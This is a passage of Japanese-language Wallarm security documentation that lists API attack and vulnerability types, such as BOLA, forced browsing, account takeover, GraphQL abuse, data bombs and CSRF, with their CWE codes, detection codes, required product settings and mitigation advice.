サブスクリプションプランで利用可能な方法で構成された[ブルートフォース保護](admin-en/configuration-guides/protecting-against-bruteforce.md) -* [Rate limit rules](user-guides/rules/rate-limiting.md) - -[デフォルトのコントロール](api-protection/enumeration-attack-protection.md#default-protection)は監視モード（新規クライアント）で提供されるか、無効です（必要に応じて有効化してください）。 - -**Wallarmによる保護に加えて:** - -* 一定期間あたりのAPIまたは特定エンドポイントへのリクエスト数を制限します。 -* 一定期間あたりのAPIまたは特定エンドポイントへの認証/認可試行回数を制限します。 -* 一定回数の失敗後は新たな認証/認可試行をブロックします。 -* アプリケーションが稼働するサーバー上のファイルやディレクトリへのアクセスは、アプリケーションのスコープ内に限定します。 - -### Broken object level authorization（BOLA） - -**脆弱性/攻撃** - -**CWEコード:** [CWE-639][cwe-639] - -**Wallarmコード:** 脆弱性は`idor`、`bola`（**Attacks**内）、`BOLA`（**API Sessions**内） - -**説明:** - -攻撃者は、リクエスト内で送信されるオブジェクトIDを改ざんすることで、BOLAに脆弱なAPIエンドポイントを悪用できます。これにより、機密データへの不正アクセスにつながる可能性があります。 - -この問題はAPIベースのアプリケーションで非常に一般的です。サーバー側コンポーネントは通常クライアントの状態を完全には追跡せず、アクセス対象のオブジェクトを決定する際にクライアントから送られるパラメータ（オブジェクトIDなど）により強く依存するためです。 - -APIエンドポイントのロジックに応じて、攻撃者はWebアプリケーション、API、ユーザーのデータを読み取るだけでなく、変更することもできます。 - -この脆弱性はIDOR（Insecure Direct Object Reference）とも呼ばれます。 - -[脆弱性の詳細はこちら](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/) - -**必要な設定:** - -Wallarmはこのタイプの脆弱性を自動的に発見しますが、BOLA攻撃の検出・緩和は以下のいずれかが有効な場合にのみ行います。 - -* [列挙に対する汎用保護](#generic-enumeration-attack) -* サブスクリプションプランで利用可能な方法で構成された[BOLA protection](admin-en/configuration-guides/protecting-against-bola-trigger.md) -* [API Discovery](api-discovery/overview.md)が発見したエンドポイントに対する[Automatic BOLA protection](admin-en/configuration-guides/protecting-against-bola.md) - -[デフォルトのコントロール](api-protection/enumeration-attack-protection.md#default-protection)は監視モード（新規クライアント）で提供されるか、無効です（必要に応じて有効化してください）。 - -### フォースドブラウジング - -**攻撃** - -**CWEコード:** [CWE-425][cwe-425] - -**Wallarmコード:** `dirbust`（**Attacks**内）、`Forced browsing`（**API Sessions**内） - -**説明:** - -この攻撃の目的は隠しリソース、すなわちディレクトリやファイルを検出することです。テンプレートに基づき生成された、または辞書から抽出された様々なファイル名やディレクトリ名を試行することで達成されます。 - -フォースドブラウジング攻撃が成功すると、アプリケーションのインターフェースからは明示的に利用できないが直接アクセスすると露出する隠しリソースへのアクセスが可能になる恐れがあります。 - -**必要な設定:** - -Wallarmは、サブスクリプションプランで利用可能な方法で構成された[forced browsing protection](admin-en/configuration-guides/protecting-against-forcedbrowsing.md)が有効な場合にのみ、フォースドブラウジングを検出および緩和します。 - -[デフォルトのコントロール](api-protection/enumeration-attack-protection.md#forced-browsing)は監視モード（新規クライアント）で提供されるか、無効です（必要に応じて有効化してください）。 - -**Wallarmによる保護に加えて:** - -* 本来アクセス権のないリソースへのユーザーのアクセスを制限または禁止します（例: 認証や認可の仕組みを導入）。 -* 一定期間あたりのAPIまたは特定エンドポイントへのリクエスト数を制限します。 -* 一定期間あたりのAPIまたは特定エンドポイントへの認証/認可試行回数を制限します。 -* 一定回数の失敗後は新たな認証/認可試行をブロックします。 -* ファイルやディレクトリに必要十分なアクセス権を設定します。 - -## アクセスレベル - -**Wallarmによる保護に加えて:** - -* ユーザーポリシーと階層に基づく適切な認可メカニズムを実装します。 -* オブジェクトIDには[GUID](https://en.wikipedia.org/wiki/Universally_unique_identifier)のようなランダムで予測不能な値を使用することを推奨します。 -* 認可メカニズムを評価するテストを書きます。テストを破壊する脆弱な変更はデプロイしないでください。 - -### マスアサインメント - -**攻撃** - -**Wallarmコード:** `mass_assignment` - -**説明:** - -マスアサインメント攻撃では、攻撃者がHTTPリクエストパラメータをプログラムコードの変数やオブジェクトにバインドしようとします。APIに脆弱性がありバインドを許している場合、公開を意図していない機密オブジェクトのプロパティが変更され、権限昇格、セキュリティ機構の回避などにつながる可能性があります。 - -マスアサインメントに脆弱なAPIは、適切なフィルタリングなしにクライアント入力を内部の変数やオブジェクトプロパティに変換することを許します。この脆弱性は、[OWASP API Security Top 10 2023（API3:2023 Broken Object Property Level Authorization）](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/)に含まれています。 - -**Wallarmによる保護に加えて:** - -* クライアント入力をコードの変数やオブジェクトのプロパティに自動的にバインドする関数の使用は避けます。 -* クライアントによって更新されるべきプロパティのみをホワイトリスト化し、プライベートプロパティをブラックリスト化するために、組み込み関数の機能を使用します。 -* 適用可能な場合、入力データペイロードのスキーマを明示的に定義し、強制します。 - -## API悪用 - -### 兆候のあるAPIアクティビティ - -**攻撃** - -**Wallarmコード:** `api_abuse` - -**説明:** - -サーバーの応答時間の増加、偽アカウント作成、スカルピングを含む基本的なボットタイプのセットです。 - -**必要な設定:** - -Wallarmは、[API Abuse Prevention](api-abuse-prevention/overview.md)モジュールが有効化され適切に構成されている場合にのみ、API悪用攻撃を検出・緩和します。 - -**API Abuse Prevention**モジュールは複合的なボット検出モデルを使用して、次のボットタイプを検出します。 - -* サーバー応答時間の増加またはサーバーの不利用性を狙ったAPI悪用。通常、悪意のあるトラフィックスパイクによって発生します。 -* [Fake account creation](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-019_Account_Creation)や[Spamming](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-017_Spamming): 偽アカウントの作成や偽コンテンツ（例: 口コミ）の承認。通常はサービスの停止には至りませんが、以下のように通常の業務プロセスを遅延・劣化させます。 - - * サポートチームによる実ユーザーからの問い合わせの処理 - * マーケティングチームによる実ユーザー統計の収集 - -* [Scalping](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-005_Scalping): ボットがオンラインストアの商品を実ユーザーが利用できないようにする行為が特徴です。例えば、全商品を予約して在庫切れにし、利益は発生させないといった手口です。 - -メトリクスがボット攻撃の兆候を示す場合、モジュールは異常トラフィックの送信元を1時間[denylistまたはgraylist](api-abuse-prevention/setup.md#creating-profiles)します。 - -**Wallarmによる保護に加えて:** - -* [OWASPの自動化された脅威の説明](https://owasp.org/www-project-automated-threats-to-web-applications/)に目を通してください。 -* アプリケーションと無関係と判断できる地域やソース（Torなど）のIPアドレスをdenylistします。 -* サーバー側のリクエストレート制限を構成します。 -* 追加のCAPTCHAソリューションを使用します。 -* アプリケーション分析からボット攻撃の兆候を探します。 - -### アカウント乗っ取り - -**攻撃** - -**Wallarmコード:** `account_takeover`（4.10.6以前は`api_abuse`） - -**説明:** - -攻撃者が他人の許可や認識なしにその人のアカウントへアクセスを獲得するサイバー攻撃です。いったんアクセスを得ると、機密情報の窃取、不正取引の実行、スパムやマルウェアの拡散など、さまざまな目的にアカウントを悪用できます。 - -**必要な設定:** - -Wallarmは、[API Abuse Prevention](api-abuse-prevention/overview.md)モジュールが有効化され適切に構成されている場合にのみ、アカウント乗っ取り攻撃を検出・緩和します。 - -共通の[検出器](api-abuse-prevention/overview.md#how-api-abuse-prevention-works)に加えて、API Abuse Preventionにはさまざまなタイプのアカウント乗っ取り攻撃を特定するための専用検出器が含まれます。 - -* **IP rotation**: IPアドレスプールを使用するアカウント乗っ取り攻撃。 -* **Session rotation**: セッションプールを使用するアカウント乗っ取り攻撃。 -* **Persistent ATO**: 長期間にわたり徐々に発生するアカウント乗っ取り攻撃。 -* **Credential stuffing**: 異なるクレデンシャルでの繰り返しログイン試行を、安定したリクエスト属性を維持しながら行うアカウント乗っ取り攻撃（[credential stuffing](#credential-stuffing)）。 -* **Low-frequency credential stuffing**: セッションやクライアントごとのログイン試行回数を意図的に制限して検知回避を図る、孤立または最小限の認証試行（[credential stuffing](#credential-stuffing)）に特徴づけられ、その後のAPIインタラクションを伴わないアカウント乗っ取り攻撃。しばしば盗難・合成・自動生成されたクレデンシャルを使用し、複数のIPアドレス、セッション、時間枠に分散させます。 - -API Abuse Preventionは、通常は認証/登録関連のクリティカルなエンドポイントに対するブルートフォースとして実行される[credential cracking](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-007_Credential_Cracking.html)を行うボットを検出します。許容される振る舞いメトリクスの自動しきい値は、直近1時間の正当なトラフィックに基づいて計算されます。 - -**Wallarmによる保護に加えて:** - -* [OWASPの自動化された脅威の説明](https://owasp.org/www-project-automated-threats-to-web-applications/)に目を通してください。 -* 強力なパスワードを使用します。 -* 複数のリソースで同じパスワードを使用しないでください。 -* 二要素認証を有効にします。 -* 追加のCAPTCHAソリューションを使用します。 -* アカウントの不審な活動を監視します。 - -### セキュリティクローラー - -**攻撃** - -**Wallarmコード:** `security_crawlers`（4.10.6以前は`api_abuse`） - -**説明:** - -セキュリティクローラーはウェブサイトやAPIをスキャンし脆弱性やセキュリティ問題を検出するために設計されていますが、悪意のある目的に使用されることもあります。攻撃者が脆弱なAPIを特定し、それを悪用して利益を得るために用いる場合があります。 - -さらに、一部のセキュリティクローラーは設計が不十分で、サーバーを過負荷にしてクラッシュさせるなど、ウェブサイトに意図せず害を与える可能性があります。 - -**必要な設定:** - -Wallarmは、[API Abuse Prevention](api-abuse-prevention/overview.md)モジュールが有効化され適切に構成されている場合にのみ、セキュリティクローラーの攻撃を検出・緩和します。 - -**API Abuse Prevention**モジュールは複合的なボット検出モデルを使用して、次のセキュリティクローラーのボットタイプを検出します。 - -* [Fingerprinting](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-004_Fingerprinting.html): APIのプロファイリングのために、情報を引き出す特定のリクエストを悪用します。 -* [Footprinting](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-018_Footprinting.html): APIの構成、設定、セキュリティ機構について可能な限り学習することを目的とした情報収集です。 -* [Vulnerability scanning](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning): サービスの脆弱性を探索する行為です。 - -**Wallarmによる保護に加えて:** - -* [OWASPの自動化された脅威の説明](https://owasp.org/www-project-automated-threats-to-web-applications/)に目を通してください。 -* SSL証明書を使用します。 -* 追加のCAPTCHAソリューションを使用します。 -* レート制限を実装します。 -* 悪意のある活動を示すパターンがないか、トラフィックを監視します。 -* 検索エンジンクローラーにクロール可能/不可のページを伝えるためrobots.txtを使用します。 -* ソフトウェアを定期的に更新します。 -* CDN（コンテンツ配信ネットワーク）を使用します。 - -### スクレイピング - -**攻撃** - -**Wallarmコード:** `scraping`（4.10.6以前は`api_abuse`） - -**説明:** - -スクレイピング（データスクレイピング、ウェブハーベスティングとも）は、ウェブサイトやAPIからデータを自動的に抽出するプロセスです。ソフトウェアやコードを用いてウェブページやAPIからデータを取得・抽出し、スプレッドシートやデータベースなどの構造化形式で保存します。 - -スクレイピングは悪意のある目的に使用されることがあります。例えば、スクレイパーはAPIからログイン情報、個人情報、金融データなどの機密情報を盗むために使われる可能性があります。また、スパムや性能を劣化させるような方法でデータを大量取得し、DoS（サービス拒否）攻撃を引き起こすこともあります。 - -**必要な設定:** - -Wallarmは、[API Abuse Prevention](api-abuse-prevention/overview.md)モジュールが有効化され適切に構成されている場合にのみ、スクレイピング攻撃を検出・緩和します。 - -**API Abuse Prevention**モジュールは複合的なボット検出モデルを使用して、[scraping](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-011_Scraping)ボットタイプを検出します。これは、アプリケーションからアクセス可能なデータや処理済み出力を収集し、非公開または有償コンテンツが任意のユーザーに利用可能になってしまう可能性があります。 - -**Wallarmによる保護に加えて:** - -* [OWASPの自動化された脅威の説明](https://owasp.org/www-project-automated-threats-to-web-applications/)に目を通してください。 -* 追加のCAPTCHAソリューションを使用します。 -* 検索エンジンクローラーにクロール可能/不可のページを伝えるためrobots.txtを使用します。 -* 悪意のある活動を示すパターンがないか、トラフィックを監視します。 -* レート制限を実装します。 -* データを難読化または暗号化します。 -* 必要に応じて法的措置を取ります。 - -### 無制限なリソース消費 - -**攻撃** - -**Wallarmコード:** `resource_consumption` - -**説明:** - -適切な制限なしに、自動化されたクライアントがAPIまたはアプリケーションのリソースを過剰に消費するタイプの悪用行為です。これは、大量の非悪意なリクエスト送信、計算・メモリ・帯域の枯渇、正当なユーザーに対するサービス品質の低下を含みます。 - -適切な制限が欠如している事例: - -* **レスポンスタイミング**（**Response time anomaly**[ボット検出器](api-abuse-prevention/overview.md#how-api-abuse-prevention-works)）: バックエンドの悪用試行や自動化された悪用を示す可能性のあるAPI応答レイテンシの異常パターン。ベースラインと比較して、リクエストが一貫して異常に高い、または不規則に変動する応答時間を生成します。ボットによる計算コストの高いクエリ、システム挙動を測定するための意図的な遅延、レート制限を下回るように試みる低速攻撃技術が原因となる場合があります。 -* **リクエストサイズ**（**Excessive request consumption**[ボット検出器](api-abuse-prevention/overview.md#how-api-abuse-prevention-works)）: APIに対する異常に大きなリクエストペイロードで、バックエンドの処理リソースの悪用や誤用を示す可能性があります。過剰なJSON本文、ファイルアップロード、深くネストされた構造など、パース・バリデーション・ストレージ能力の枯渇を狙う振る舞いを含みます。攻撃者はこれらのペイロードを用いてバックエンドに負荷をかけ、レート制限をバイパスしたり、システムの境界を探索したりすることがよくあります。 -* **レスポンスサイズ**（**Excessive response consumption**[ボット検出器](api-abuse-prevention/overview.md#how-api-abuse-prevention-works)）: セッション期間中に転送されたレスポンスデータの総量が不審であること。セッション全体の集計レスポンスサイズにより、スロードリップや分散型のスクレイピング攻撃を特定します。個々のリクエストごとには無害に見えても、時間の経過とともに大量のデータ流出につながることがあります。 - -**必要な設定:** - -!!! tip "" - [NGINX Node](installation/nginx-native-node-internals.md#nginx-node) 6.3.0以降が必要で、現時点では[Native Node](installation/nginx-native-node-internals.md#native-node)では未サポートです。 - -Wallarmは、[API Abuse Prevention](api-abuse-prevention/overview.md)モジュールが有効化され適切に構成されている場合にのみ、無制限なリソース消費攻撃を検出・緩和します。 - -このボット攻撃タイプの検出を高精度にするため、[API Sessions](api-sessions/overview.md)を適切に[構成](api-sessions/setup.md)する必要があります。 - -## GraphQL攻撃 - -**攻撃** - -**Wallarmコード:** `graphql_attacks` - -**説明:** - -GraphQLには、過剰な情報露出やDoSに関連するプロトコル固有の攻撃を実装可能にする特性があります。詳細はサブセクションを参照してください。 - -これらの脅威を防ぐための適切な対策は、リクエストおよび値のサイズ、クエリ深度、バッチ化クエリの許可数など、GraphQLリクエストの制限を設定することです。Wallarmでは、これらの制限を[GraphQL policy](api-protection/graphql-rule.md)で設定します。制限を超えるGraphQLリクエストはGraphQL攻撃と見なされます。 - -**必要な設定:** - -Wallarmは、1つ以上の[Detect GraphQL attacksの緩和コントロールまたはルール](api-protection/graphql-rule.md)（node 4.10.3以降が必要）が構成されている場合にのみ、GraphQL攻撃を検出・緩和します。 - -[デフォルトのコントロール](api-protection/graphql-rule.md#default-protection)は監視モード（新規クライアント）で提供されるか、無効です（必要に応じて有効化してください）。 - -**Wallarmによる保護に加えて:** - -* 機密または制限付きGraphQL APIへのアクセスには認証を必須にします。 -* 入出力をサニタイズし、インジェクション攻撃や悪意のある入力値から保護します。 -* GraphQLクエリ活動（リクエスト詳細やレスポンスデータを含む）を追跡・分析する包括的なログ機構を実装します。 -* 制限された権限とアクセス制御を備えた安全な実行環境でGraphQLサーバーを運用します。 - -### GraphQLクエリサイズ - -**Wallarmコード:** `gql_doc_size`: 許可される合計クエリサイズの最大値違反 - -**説明:** - -攻撃者は、過度に大きな入力をサーバーが処理する方法を悪用して、GraphQLエンドポイントに対するDoS（サービス拒否）やその他の問題を引き起こす可能性があります。 - -### GraphQL値サイズ - -**Wallarmコード:** `gql_value_size`: 許可される値サイズの最大値違反 - -**説明:** - -攻撃者は、変数や引数に対して極端に長い文字列値を持つGraphQLリクエストを送信し、サーバーのリソースを圧迫する可能性があります（Excessive Value Length攻撃）。 - -### GraphQLクエリ深度 - -**Wallarmコード:** `gql_depth`: 許可されるクエリ深度の最大値違反 - -**説明:** - -GraphQLクエリはネスト可能で、複雑なデータ構造を一度に要求できます。しかし、この柔軟性は悪用され、深くネストされたクエリを作成してサーバーを過負荷にする可能性があります。 - -### GraphQLエイリアス - -**Wallarmコード:** `gql_aliases`: 許可されるエイリアス数の最大値違反 - -**説明:** - -GraphQLのエイリアスは、フィールドの結果名を変更して衝突を避け、データ整理を改善する機能です。しかし、攻撃者がこの機能を悪用して、リソース消費やDoS（サービス拒否）攻撃を仕掛ける可能性があります。 - -### GraphQLバッチング - -**Wallarmコード:** `gql_docs_per_batch`: 許可されるバッチ化クエリ数の最大値違反 - -**説明:** - -GraphQLでは複数のクエリ（オペレーション）を1つのHTTPリクエストにバッチ化できます。複数のオペレーションを1つのリクエストにまとめることで、攻撃者がバッチング攻撃を組織し、レート制限などのセキュリティ対策を回避しようとする可能性があります。 - -### GraphQLイントロスペクション - -**Wallarmコード:** `gql_introspection`: 禁止されたイントロスペクションクエリ - -**説明:** - -攻撃者はGraphQLのイントロスペクション機構を利用して、GraphQL APIのスキーマに関する詳細を明らかにする可能性があります。システムにクエリを送ることで、APIで利用可能な型、クエリ、ミューテーション、フィールドの全貌を把握し、より精緻で破壊的なクエリ構築にこの情報を用いる可能性があります。 - -### GraphQLデバッグ - -**Wallarmコード:** `gql_debug`: 禁止されたデバッグモードクエリ - -**説明:** - -GraphQLで開発者がデバッグモードを有効のままにしている場合、攻撃者は過剰なエラーメッセージ（スタックトレースやトレースバック全体など）から重要な情報を収集できる可能性があります。攻撃者はURIの“debug=1“パラメータ経由でデバッグモードにアクセスできる場合があります。 - -## API仕様 - -**攻撃** - -**Wallarmコード:** `api_specification`は、仕様ベースのすべての違反を示します。個別の違反はサブセクションで説明します。 - -**説明:** - -[API Specification Enforcement](api-specification-enforcement/overview.md)は、アップロードした仕様に基づきAPIにセキュリティポリシーを適用するよう設計されています。主な機能は、仕様に記載されたエンドポイントの説明と、実際にREST APIに送られるリクエストとの不一致を検出することです。不一致が特定された場合、あらかじめ定義されたアクションを実行できます。 - -API Specification Enforcementには、仕様との比較に関する処理上限が適用されます。この上限を超えるとリクエストの処理を停止し、その旨を知らせるイベントを作成します。詳細は[processing overlimit](#processing-overlimit)を参照してください。 - -### 未定義エンドポイント - -**Wallarmコード:** `undefined_endpoint` - -**説明:** - -仕様に存在しないエンドポイントへのリクエスト試行です。 - -### 未定義パラメータ - -**Wallarmコード:** `undefined_parameter` - -**説明:** - -仕様の当該エンドポイントに存在しないパラメータを含むため、攻撃としてマークされたリクエストです。 - -### 無効なパラメータ - -**Wallarmコード:** `invalid_parameter_value` - -**説明:** - -仕様で定義された型/フォーマットにパラメータ値が一致しないため、攻撃としてマークされたリクエストです。 - -### 必須パラメータの欠如 - -**Wallarmコード:** `missing_parameter` - -**説明:** - -仕様で必須とマークされているパラメータまたはその値を含まないため、攻撃としてマークされたリクエストです。 - -### 認証の欠如 - -**Wallarmコード:** `missing_auth` - -**説明:** - -必要な認証方法に関する情報を含まないため、攻撃としてマークされたリクエストです。 - -### 無効なリクエスト - -**Wallarmコード:** `invalid_request` - -**説明:** - -無効なJSONを含むため、攻撃としてマークされたリクエストです。 - -## データ処理 - -### データボム - -**攻撃** - -**CWEコード:** [CWE-409][cwe-409], [CWE-776][cwe-776] - -**Wallarmコード:** `data_bomb` - -**説明:** - -リクエストにZipボムまたはXMLボムが含まれる場合、Wallarmは当該リクエストをデータボム攻撃としてマークします。 - -* [Zipボム](https://en.wikipedia.org/wiki/Zip_bomb)は、読み取り側のプログラムやシステムをクラッシュさせる、あるいは役に立たない状態にするよう設計された悪意あるアーカイブファイルです。Zipボムはプログラム自体は正常動作させつつ、展開に過大な時間・ディスク容量・メモリを要するように作られています。 -* [XMLボム（billion laughs攻撃）](https://en.wikipedia.org/wiki/Billion_laughs_attack)は、XMLドキュメントのパーサーを狙うDoS攻撃の一種です。攻撃者はXML実体に悪意のあるペイロードを送信します。 - - 例えば、`entityOne`を20個の`entityTwo`として定義し、`entityTwo`を20個の`entityThree`として定義し……というパターンを`entityEight`まで継続すると、XMLパーサーは単一の`entityOne`を展開するだけで1,280,000,000個の`entityEight`になり、5GBのメモリを消費します。 - -**Wallarmによる保護に加えて:** - -* 受信リクエストのサイズを制限し、システムに害を与えないようにします。 - -### 無効なXML - -**攻撃** - -**Wallarmコード:** `invalid_xml` - -**説明:** - -リクエスト本文にXMLドキュメントが含まれ、そのドキュメントのエンコーディングがXMLヘッダーに記載されたエンコーディングと一致しない場合、`invalid_xml`としてマークされます。 - -### Processing overlimit - -**攻撃** - -**Wallarmコード:** `processing_overlimit` - -**説明:** - -[API Specification Enforcement](#api-specification)がリクエストを処理する際に適用される上限に違反した場合、**Specification processing overlimit**イベントが攻撃一覧に追加されます。 - -### Resource overlimit - -**攻撃** - -**Wallarmコード:** `overlimit_res` - -**説明:** - -Wallarmノードは、受信リクエストの処理に費やす時間を最大`N`ミリ秒に制限するよう構成されています（デフォルト値: `1000`）。指定時間内にリクエストが処理されない場合、そのリクエストの処理は停止され、`overlimit_res`攻撃としてマークされます。 - -カスタムの時間制限を指定し、制限超過時のデフォルト動作を変更するには、[**Limit request processing time**](user-guides/rules/configure-overlimit-res-detection.md)ルールを使用します。 - -リクエスト処理時間の制限は、Wallarmノードを狙うバイパス攻撃の防止に役立ちます。場合によっては、`overlimit_res`としてマークされたリクエストは、Wallarmノードモジュールに割り当てられたリソースが不十分で、リクエスト処理時間が長くなっていることを示す場合があります。 - -## Blocked source - -**攻撃** - -**Wallarmコード:** `blocked_source` - -**説明:** - -**手動で**[denylist登録](user-guides/ip-lists/overview.md)されたIPからの攻撃です。 - -## Virtual patch - -**攻撃** - -**Wallarmコード:** `vpatch` - -**説明:** - -[virtual patch機構][doc-vpatch]によって緩和された攻撃の一部であるリクエストは、`vpatch`としてマークされます。 - -**必要な設定:** - -Virtual patchingは、現在の[filtration mode](admin-en/configure-wallarm-mode.md)に関係なく、特定のエンドポイントまたはすべてのリクエストをブロックする仕組みです。Virtual patchは、あなたが[手動で作成する][doc-vpatch]カスタムルールです。 - -**Wallarmによる保護に加えて:** - -* パッチで緩和した脆弱性を分析し、パッチが不要になるように脆弱性を解消します。 - - - -## その他 - -### 認証バイパス - -**脆弱性** - -**CWEコード:** [CWE-288][cwe-288] - -**Wallarmコード:** `auth` - -**説明:** - -認証機構が実装されていても、アプリケーションやAPIに別の認証方法が存在し、主要な認証機構をバイパスできたり、その弱点を突くことが可能な場合があります。これらの要因が組み合わさると、攻撃者がユーザーまたは管理者権限でアクセスを得る結果につながる可能性があります。 - -認証バイパス攻撃が成功すると、ユーザーの機密データの流出や、管理者権限で脆弱なAPIを乗っ取られる恐れがあります。 - -**Wallarmによる保護に加えて:** - -* 既存の認証機構を改善し強化します。 -* 事前定義のメカニズムを介した必須の認証手続きを回避してAPIにアクセスできるような、代替の認証方法を排除します。 -* [OWASP Authentication Cheat Sheet][link-owasp-auth-cheatsheet]の推奨事項を適用します。 - -### クレデンシャルスタッフィング - -**攻撃** - -**Wallarmコード:** `credential_stuffing` - -**説明:** - -攻撃者が漏えいしたユーザークレデンシャルのリストを使って、複数のリソース上のユーザーアカウントへ不正アクセスを試みるサイバー攻撃です。多くの人が複数のサービスで同じユーザー名とパスワードを使い回したり、一般的で弱いパスワードを使用したりするため、この攻撃は危険です。クレデンシャルスタッフィング攻撃は少ない試行回数で成功する可能性があるため、攻撃者はリクエストを低頻度で送信でき、ブルートフォース対策のような標準的な対策が効きにくくなります。 - -**必要な設定:** - -Wallarmは、フィルタリングノードがバージョン4.10以上で、[Credential Stuffing Detection](about-wallarm/credential-stuffing.md)機能が有効化され適切に構成されている場合にのみ、クレデンシャルスタッフィングの試行を検出します。 - -**Wallarmによる保護に加えて:** - -* [OWASPのcredential stuffingの説明](https://owasp.org/www-community/attacks/Credential_stuffing)（"Credential Stuffing Prevention Cheat Sheet"を含む）に目を通してください。 -* ユーザーに強力なパスワードの使用を義務付けます。 -* 異なるリソースで同じパスワードを使用しないようユーザーに推奨します。 -* 二要素認証を有効にします。 -* 追加のCAPTCHAソリューションを使用します。 - -### クロスサイトリクエストフォージェリ（CSRF） - -**脆弱性** - -**CWEコード:** [CWE-352][cwe-352] - -**Wallarmコード:** `csrf` - -**説明:** - -クロスサイトリクエストフォージェリ（CSRF）は、ユーザーが現在認証されているアプリケーション上で、望まないアクションを実行させる攻撃です。ソーシャルエンジニアリング（メールやチャットでリンクを送るなど）を少し用いることで、攻撃者はアプリケーションのユーザーに攻撃者が選んだアクションの実行を促すことができます。 - -対応する脆弱性は、クロスサイトリクエストを行う際に、ユーザーのブラウザが対象ドメインに設定されたユーザーのセッションクッキーを自動的に追加してしまうことに起因します。 - -ほとんどのサイトでは、これらのクッキーにサイトのクレデンシャルが含まれます。したがって、ユーザーが現在サイトに認証済みであれば、サイトは被害者が送った偽造リクエストと正規のリクエストを区別できません。 - -結果として、攻撃者は脆弱なWebアプリケーションに対し、正規ユーザーになりすまして悪意のあるウェブサイトからリクエストを送ることができ、そのユーザーのクッキーにアクセスする必要すらありません。 - -WallarmはCSRFの脆弱性を発見するのみで、CSRF攻撃を検出しないためブロックもしません。CSRFの問題は、すべてのモダンブラウザでコンテンツセキュリティポリシー（CSP）によって解決されています。 - -**保護:** - -CSRFはブラウザによって解決されていますが、他の保護方法も有用性は低いものの依然として使用できます。 - -* CSRFトークンなどのアンチCSRF保護メカニズムを採用します。 -* `SameSite`クッキー属性を設定します。 -* [OWASP CSRF Prevention Cheat Sheet][link-owasp-csrf-cheatsheet]の推奨事項を適用します。 - -### ファイルアップロード違反 - -**攻撃** - -**Wallarmコード:** `file_upload_violation` - -**説明:** - -[unrestricted resource consumption](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md)は、最も深刻なAPIセキュリティリスクの[OWASP API Top 10 2023](user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023)に含まれています。これはそれ自体が脅威（過負荷によるサービスの低速化や停止）であるだけでなく、列挙攻撃などさまざまな攻撃タイプの土台にもなります。過度に大きなファイルアップロードを許可することは、これらのリスクの原因の1つです。 - -**必要な設定:** - -Wallarmは、サブスクリプションプランで利用可能な方法で1つ以上の[ポリシー](api-protection/file-upload-restriction.md)が構成されている場合にのみ、ファイルアップロード制限を適用します。 - -ファイルサイズのアップロード制限は、Wallarmが提供する[無制限なリソース消費を防ぐための措置](api-protection/file-upload-restriction.md#comparison-to-other-measures-for-preventing-unrestricted-resource-consumption)の唯一の手段ではないことに注意してください。 - -**Wallarmによる保護に加えて:** - -* クライアント側JavaScriptでファイルサイズ検証を設定します。 -* Webサーバー（NginxやApacheなど）を構成し、大きなファイルを拒否します。 -* アプリケーションコード内でファイルサイズチェックを実装します。 - -### 情報露出 - -**脆弱性/攻撃** - -**CWEコード:** [CWE-200][cwe-200]（参考: [CWE-209][cwe-209], [CWE-215][cwe-215], [CWE-538][cwe-538], [CWE-541][cwe-541], [CWE-548][cwe-548], [CWE-598][CWE-598]） - -**Wallarmコード:** `infoleak` - -**説明:** - -この脆弱性は、アプリケーションが機密情報を不正に開示してしまうもので、攻撃者にさらなる悪意のある活動のための機微なデータを提供する可能性があります。 - -機密情報の例: - -* メール、財務データ、連絡先などの私的・個人的情報 -* エラーメッセージやスタックトレースで開示される技術情報 -* OSやインストールされたパッケージなどのシステム状況と環境 -* ソースコードや内部状態 - -Wallarmは次の2つの方法で情報露出を検出します。 - -* サーバーレスポンスの分析: Wallarmは、パッシブ検出、脆弱性スキャン、スレットリプレイテストなどの[手法](about-wallarm/detecting-vulnerabilities.md#vulnerability-detection-methods)を用いてサーバーレスポンスを分析します。これらの方法は、アプリケーションのレスポンスが機密情報を不意に露出していないかを確認することで脆弱性を特定することを目的とします。 -* API Discoveryの知見: [API Discovery](api-discovery/overview.md)モジュールが特定したエンドポイントが、GETリクエストのクエリパラメータに個人を特定できる情報（PII）を含めて転送している場合、Wallarmはそれらを脆弱と認識します。 - -Wallarmは`infoleak`攻撃を特定の分類として扱うのではなく、該当するセキュリティインシデントが発生した際に検出・記録します。ただし、インシデントは頻繁ではありません。情報露出が始まると、Wallarmの検出機構が迅速に通知し、すばやく脆弱性を修正できるようにします。さらに、[blocking mode](admin-en/configure-wallarm-mode.md#available-filtration-modes)でWallarmのフィルタリングノードを使用することで、すべての攻撃試行をブロックして露出を未然に防ぎ、データ漏えいの可能性を大幅に低減できます。 - -**Wallarmによる保護に加えて:** - -* Webアプリケーションが機密情報を表示できる機能を禁止します。 -* 登録やログインフォームなど、機密データの送信には可能であればGETではなくPOSTメソッドを使用します。 - -### 脆弱なコンポーネント - -**脆弱性** - -**CWEコード:** [CWE-937][cwe-937], [CWE-1035][cwe-1035], [CWE-1104][cwe-1104] - -**Wallarmコード:** `vuln_component` - -**説明:** - -この脆弱性は、アプリケーションやAPIが脆弱または古いコンポーネントを使用している場合に発生します。OS、Web/アプリケーションサーバー、データベース管理システム（DBMS）、ランタイム環境、ライブラリその他のコンポーネントが含まれます。 - -この脆弱性は[ A06:2021 – Vulnerable and Outdated Components](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components)に対応しています。 - -**Wallarmによる保護に加えて:** - -* 未使用の依存関係、不要な機能・コンポーネント・ファイル・ドキュメントを削除します。 -* OWASP Dependency Checkやretire.jsなどのツールを用いて、クライアント側/サーバー側コンポーネント（フレームワーク、ライブラリなど）およびその依存関係のバージョンを継続的に棚卸しします。 -* 